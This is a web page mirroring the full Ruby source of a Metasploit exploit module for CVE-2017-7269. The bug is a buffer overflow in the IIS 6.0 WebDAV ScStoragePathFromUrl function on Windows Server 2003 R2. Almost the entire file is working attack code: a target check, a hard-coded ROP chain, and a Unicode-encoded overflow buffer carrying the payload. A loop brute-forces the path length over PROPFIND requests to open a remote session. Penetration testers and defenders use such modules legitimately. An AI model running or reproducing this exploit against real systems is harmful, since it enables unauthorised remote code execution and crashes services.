CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
14
'Description' => %q{
15
Buffer overflow in the ScStoragePathFromUrl function
16
in the WebDAV service in Internet Information Services (IIS) 6.0
17
in Microsoft Windows Server 2003 R2 allows remote attackers to
18
execute arbitrary code via a long header beginning with
19
"If: <http://" in a PROPFIND request, as exploited in the
20
wild in July or August 2016.
21
22
Original exploit by Zhiniang Peng and Chen Wu.
23
},
24
'Author' =>
25
[
26
'Zhiniang Peng', # Original author
27
'Chen Wu', # Original author
28
'Dominic Chell <[email protected]>', # metasploit module
29
'firefart', # metasploit module
30
'zcgonvh <[email protected]>', # metasploit module
31
'Rich Whitcroft', # metasploit module
32
'Lincoln' # minor updates to metasploit module
33
],
34
'License' => MSF_LICENSE,
35
'References' =>
36
[
37
[ 'CVE', '2017-7269' ],
38
[ 'BID', '97127' ],
39
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
40
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
41
],
42
'Privileged' => false,
43
'Payload' =>
44
{
45
'Space' => 2000,
46
'BadChars' => "\x00",
47
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
48
'DisableNops' => 'True',
49
'EncoderOptions' =>
50
{
51
'BufferRegister' => 'ESI',
52
}
53
},
54
'DefaultOptions' =>
55
{
56
'EXITFUNC' => 'process',
57
'PrependMigrate' => true,
58
},
59
'Targets' =>
60
[
61
[
62
'Microsoft Windows Server 2003 R2 SP2 x86',
63
{
64
'Platform' => 'win',
65
'Arch' => ARCH_X86
66
},
67
],
68
],
69
'Platform' => 'win',
70
'DisclosureDate' => '2017-03-26',
71
'DefaultTarget' => 0,
72
'Notes' =>
73
{
74
'AKA' => ['EXPLODINGCAN'],
75
'Stability' => [CRASH_SERVICE_DOWN],
76
'Reliability' => [REPEATABLE_SESSION],
77
'Side Effects' => []
78
}
79
))
80
81
register_options(
82
[
83
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
84
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
85
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
86
])
87
end
88
89
def min_path_len
90
datastore['MINPATHLENGTH']
91
end
92
93
def max_path_len
94
datastore['MAXPATHLENGTH']
95
end
96
97
def supports_webdav?(headers)
98
if headers['MS-Author-Via'] == 'DAV' ||
99
headers['DASL'] == '<DAV:sql>' ||
100
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
101
headers['Public'].to_s.include?('PROPFIND') ||
102
headers['Allow'].to_s.include?('PROPFIND')
103
return true
104
end
105
106
false
107
end
108
109
def check
110
res = send_request_cgi({
111
'uri' => target_uri.path,
112
'method' => 'OPTIONS'
113
})
114
115
unless res
116
vprint_error 'Connection failed'
117
return Exploit::CheckCode::Unknown
118
end
119
120
unless supports_webdav? res.headers
121
vprint_status 'Server does not support WebDAV'
122
return CheckCode::Safe
123
end
124
125
if res.headers['Server'].to_s.include? 'IIS/6.0'
126
return CheckCode::Vulnerable
127
end
128
129
CheckCode::Detected
130
end
131
132
# corelan.be
133
# rop chain generated with mona.py
134
def create_rop_chain
135
[
136
#MSVCRT.dll - all Windows 2003
137
0x77bcb06c, # POP ESI # RETN
138
0x77bef001, # Write pointer # Garbage
139
0x77bb2563, # POP EAX # RETN
140
0x77ba1114, # <- *&VirtualProtect()
141
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
142
0x41414141, # junk
143
0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
144
0x77bc9801, # POP EBP # RETN
145
0x77be2265, # ptr to 'push esp # ret'
146
0x77bb2563, # POP EAX # RETN
147
0x03C0946F,
148
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
149
0x77bb48d3, # POP EBX, RET
150
0x77bf21e0, # .data
151
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
152
0x77bbfc02, # POP ECX # RETN
153
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
154
0x77bd8c04, # POP EDI # RETN
155
0x77bd8c05, # ROP NOP (-> edi)
156
0x77bb2563, # POP EAX # RETN
157
0x03c0944f,
158
0x77bdd441, # SUB EAX, 03c0940f
159
0x77bb8285, # XCHG EAX,EDX # RETN
160
0x77bb2563, # POP EAX # RETN
161
0x90909090, # nop
162
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
163
].pack("V*")
164
end
165
166
#encode string as UTF-8 char format that when converted to UTF-16LE
167
#will represent chars we want in memory
168
def utf_encode_str(str)
169
str.force_encoding('UTF-16LE').encode('UTF-8')
170
end
171
172
#filler chars to be encoded
173
def make_junk(len)
174
utf_encode_str rand_text_alpha(len)
175
end
176
177
def exploit
178
# extract the local servername and port from a PROPFIND request
179
# these need to be the values from the backend server
180
# if testing a reverse proxy setup, these values differ
181
# from RHOST and RPORT but can be extracted this way
182
vprint_status('Extracting ServerName and Port')
183
res = send_request_raw(
184
'method' => 'PROPFIND',
185
'headers' => {
186
'Content-Length' => 0
187
},
188
'uri' => target_uri.path
189
)
190
fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)
191
192
xml = res.get_xml_document
193
url = URI.parse(xml.at("//a:response//a:href").text)
194
server_name = url.hostname
195
server_port = url.port
196
server_scheme = url.scheme
197
198
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
199
vprint_status("Using http_host #{http_host}")
200
201
print_status "Trying path length #{min_path_len} to #{max_path_len} ..."
202
203
min_path_len.upto(max_path_len) do |path_len|
204
vprint_status("Trying path length of #{path_len}...")
205
206
begin
207
buf1 = "<#{http_host}/"
208
buf1 << rand_text_alpha(114 - path_len)
209
buf1 << make_junk(32)
210
#survive SHR instruction 0x02020202
211
buf1 << utf_encode_str([0x02020202].pack('V'))
212
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
213
buf1 << utf_encode_str([0x680312c0].pack('V'))
214
buf1 << make_junk(40)
215
#0x680313c0 -> destination pointer used with memcpy
216
buf1 << utf_encode_str([0x680313c0].pack('V'))
217
buf1 << ">"
218
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
219
buf1 << rand_text_alpha(114 - path_len)
220
buf1 << make_junk(28)
221
#0x680313c0 -> pointer to call itself at same address for vtable call
222
buf1 << utf_encode_str([0x680313c0].pack('V'))
223
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
224
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
225
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
226
buf1 << make_junk(8)
227
#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
228
#point to itself at [eax]
229
buf1 << utf_encode_str([0x680313c0].pack('V'))
230
buf1 << make_junk(16)
231
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
232
#which also points to new ESP
233
buf1 << utf_encode_str([0x68016082].pack('V'))
234
buf1 << utf_encode_str(create_rop_chain)
235
#GetPC # push esp; pop esi; add esi, 10
236
buf1 << utf_encode_str("\x54\x5e\x83\xc6")
237
#GetPC ESI +10 plus encode alignment
238
buf1 << utf_encode_str("\x0a\x41")
239
buf1 << payload.encoded
240
buf1 << ">"
241
242
vprint_status 'Sending payload'
243
res = send_request_raw(
244
'method' => 'PROPFIND',
245
'uri' => target_uri.path,
246
'headers' => {
247
'Content-Length' => 0,
248
'If' => "#{buf1}"
249
}
250
)
251
next unless res
252
253
vprint_status("Server returned status #{res.code}")
254
next if res.code == 502 || res.code == 400
255
256
return if session_created?
257
258
vprint_status("Unknown Response: #{res.code}")
259
rescue ::Errno::ECONNRESET
260
vprint_status('got a connection reset')
261
next
262
end
263
end
264
end
265
end
266
267